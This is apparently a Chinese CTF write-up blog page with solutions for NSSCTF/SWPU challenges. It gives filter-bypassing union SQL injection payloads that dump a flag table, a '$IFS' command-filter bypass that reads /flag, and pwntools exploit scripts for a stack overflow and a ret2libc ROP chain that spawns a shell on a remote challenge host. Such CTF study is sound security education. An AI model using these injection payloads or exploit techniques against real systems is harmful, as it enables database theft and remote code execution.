<h3 id="sql">sql<a class="anchor" href="#sql">#</a></h3>
<p>这题见招拆招，测试后发现单引号包裹，过滤了<code>--+</code>，用<code>%23</code>代替，过滤了空格，用<code>/**/</code>代替，过滤<code>=</code>，用regexp代替</p>
<p><strong>测试列数</strong></p>
<p><img
  src="/077813/swpu_sql_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="691" height="382"
/>
</p>
<p>3列正常回显，4列报错，说明只有3列</p>
<p><strong>测试回显点</strong></p>
<p><img
  src="/077813/swpu_sql_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="681" height="377"
/>
</p>
<p>2，3位回显</p>
<p><strong>爆库+爆表</strong></p>
<p>Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp&#39;</span><span class="n">test_db</span><span class="s1">&#39;)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_sql_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1810" height="392"
/>
</p>
<p><strong>爆字段+爆数据</strong></p>
<p>Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_sql_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1715" height="426"
/>
</p>
<p>这里好像限制了输出20位，所以想到使用字符串截断，截取某段进行输出，但是测试后发现<code>substr</code>、<code>substring</code>、<code>left</code>、<code>right</code>、<code>explode</code>都被过滤了，在php手册中找到<code>mid</code>函数，这个没被过滤，调整截取位置即可</p>
<p>第一段flag已经得到：<code>NSSCTF{19791ad8-fbf5</code></p>
<p>第二次爆数据Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第二段flag：<code>fbf5-4e14-bda6-e1b0a</code></p>
<p>第三次爆数据Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第三段flag：<code>6-e1b0a3e10da0}</code></p>
<p>连接起来就行</p>
<h2 id="pwn">PWN<a class="anchor" href="#pwn">#</a></h2>
<blockquote>
<p>pwn入门，编译原理+数据结构+二进制漏洞头疼，5道pwn做出了3道，步骤简单，但有时候一句代码原理纠结一两天</p>
</blockquote>
<h3 id="nc签到">nc签到<a class="anchor" href="#nc签到">#</a></h3>
<p><img
  src="/077813/swpu_ncqd_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="456" height="384"
/>
</p>
<p>nc一堆乱码，IDA打开附件看看</p>
<p><img
  src="/077813/swpu_ncqd_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="289" height="342"
/>
</p>
<p>这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令，接收用户输入，如果输入值里含有黑名单里的值，就退出程序，否则就执行，过滤了基本指令和空格，flag一般都在根目录下，<code>tac$IFS/flag</code>即可</p>
<p><img
  src="/077813/swpu_ncqd_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="534" height="416"
/>
</p>
<p>有时候这个bash输入啥都不回显，关掉重新nc即可</p>
<h3 id="gift_pwn">gift_pwn<a class="anchor" href="#gift_pwn">#</a></h3>
<p>标准操作</p>
<p><img
  src="/077813/swpu_gift_pwn_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="717" height="233"
/>
</p>
<p>运行也就一个输入，IDA打开</p>
<p><img
  src="/077813/swpu_gift_pwn_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1180" height="387"
/>
</p>
<p>就一个vuln()函数，左边列表有gift，是个后门函数，后面会用到，进入vuln函数</p>
<p><img
  src="/077813/swpu_gift_pwn_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="511" height="158"
/>
</p>
<p>明显的栈溢出，然后打开gift函数的汇编</p>
<p><img
  src="/077813/swpu_gift_pwn_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="819" height="289"
/>
</p>
<p>payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;1.14.71.254&#39;</span><span class="p">,</span><span class="mi">28090</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">bin_sh_addr</span><span class="o">=</span><span class="mh">0x00000000004005C4</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="p">(</span><span class="mi">16</span><span class="o">+</span><span class="mi">8</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_sh_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_gift_pwn_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="729" height="289"
/>
</p>
<h3 id="whitegive_pwn">whitegive_pwn<a class="anchor" href="#whitegive_pwn">#</a></h3>
<p>理解好久那个函数偏移量，我理论没错啊，但是exp没用，后来请教了许多pwn佬，才基本理解，总的来说，比上题少了后门，连字符串都没有，所以需要使用ROP(返回导向编程)，这个返回导向我感觉就是用碎片做跳板ret到下一个链子，但是学的时候又有参数，搞得乱了，这题exp能写出来，还是练得少</p>
<p>检查文件</p>
<p><img
  src="/077813/swpu_whitegive_pwn_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="719" height="238"
/>
</p>
<p>没开PIE万幸</p>
<p>这次的“gift”是puts函数，用这个函数去输出puts真实地址</p>
<p>整体思路就是，溢出，rop碎片跳转，put的got地址，这一步说是为了初始化，但我感觉是为了调用puts。然后连接puts的plt地址，这个就是参数，程序只有一句输入就结束了，后续操作需要再次运行程序，所以加上main函数地址</p>
<p>随后对返回的puts地址切片填充处理，查找相应libc，计算出libc基址，根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">LibcSearcher</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;1.14.71.254&#39;</span><span class="p">,</span><span class="mi">28132</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./pwn3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">put_plt</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">put_got</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">main_add</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">rdi_add</span><span class="o">=</span><span class="mh">0x0000000000400763</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_got</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_plt</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_add</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">()[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">d</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">LibcSearcher</span><span class="p">(</span><span class="s1">&#39;puts&#39;</span><span class="p">,</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">off</span><span class="o">=</span><span class="n">d</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;puts&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">sys_add</span><span class="o">=</span><span class="n">off</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">bin_add</span><span class="o">=</span><span class="n">off</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;str_bin_sh&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">sys_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_add</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
